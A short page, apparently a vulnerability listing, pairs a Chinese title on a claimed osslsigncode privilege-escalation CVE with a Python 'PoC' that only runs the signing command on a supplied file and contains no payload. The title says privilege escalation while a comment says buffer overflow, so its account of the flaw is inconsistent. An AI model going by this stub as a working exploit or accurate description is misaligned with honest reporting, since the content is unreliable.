CVE-2025-70888 Osslsigncode权限提升漏洞

#!/usr/bin/env python3 """ PoC for CVE-2025-70888 (Osslsigncode Privilege Escalation) This script demonstrates the vulnerability concept by calling the vulnerable component. Note: Actual exploitation requires a specifically crafted binary payload. """ import subprocess import sys def trigger_vulnerability(binary_path, malicious_file): """ Simulate the exploitation scenario where osslsigncode processes a malicious file. """ print(f"[*] Attempting to process {malicious_file} with vulnerable binary...") try: # The vulnerability is triggered in osslsigncode.c during file parsing # Using a generic command structure for demonstration result = subprocess.run( [binary_path, "sign", "-certs", "cert.pem", "-key", "key.pem", "-in", malicious_file, "-out", "out.signed"], capture_output=True, text=True, timeout=5 ) print("[+] Execution output:", result.stdout) if result.stderr: print("[-] Error output:", result.stderr) except Exception as e: print(f"[!] An exception occurred: {e}") if __name__ == "__main__": # In a real scenario, 'malicious_file' would contain the exploit payload # targeting the buffer overflow in osslsigncode.c if len(sys.argv) < 3: print("Usage: python3 poc.py <path_to_osslsigncode> <path_to_malicious_file>") sys.exit(1) binary = sys.argv[1] target_file = sys.argv[2] trigger_vulnerability(binary, target_file)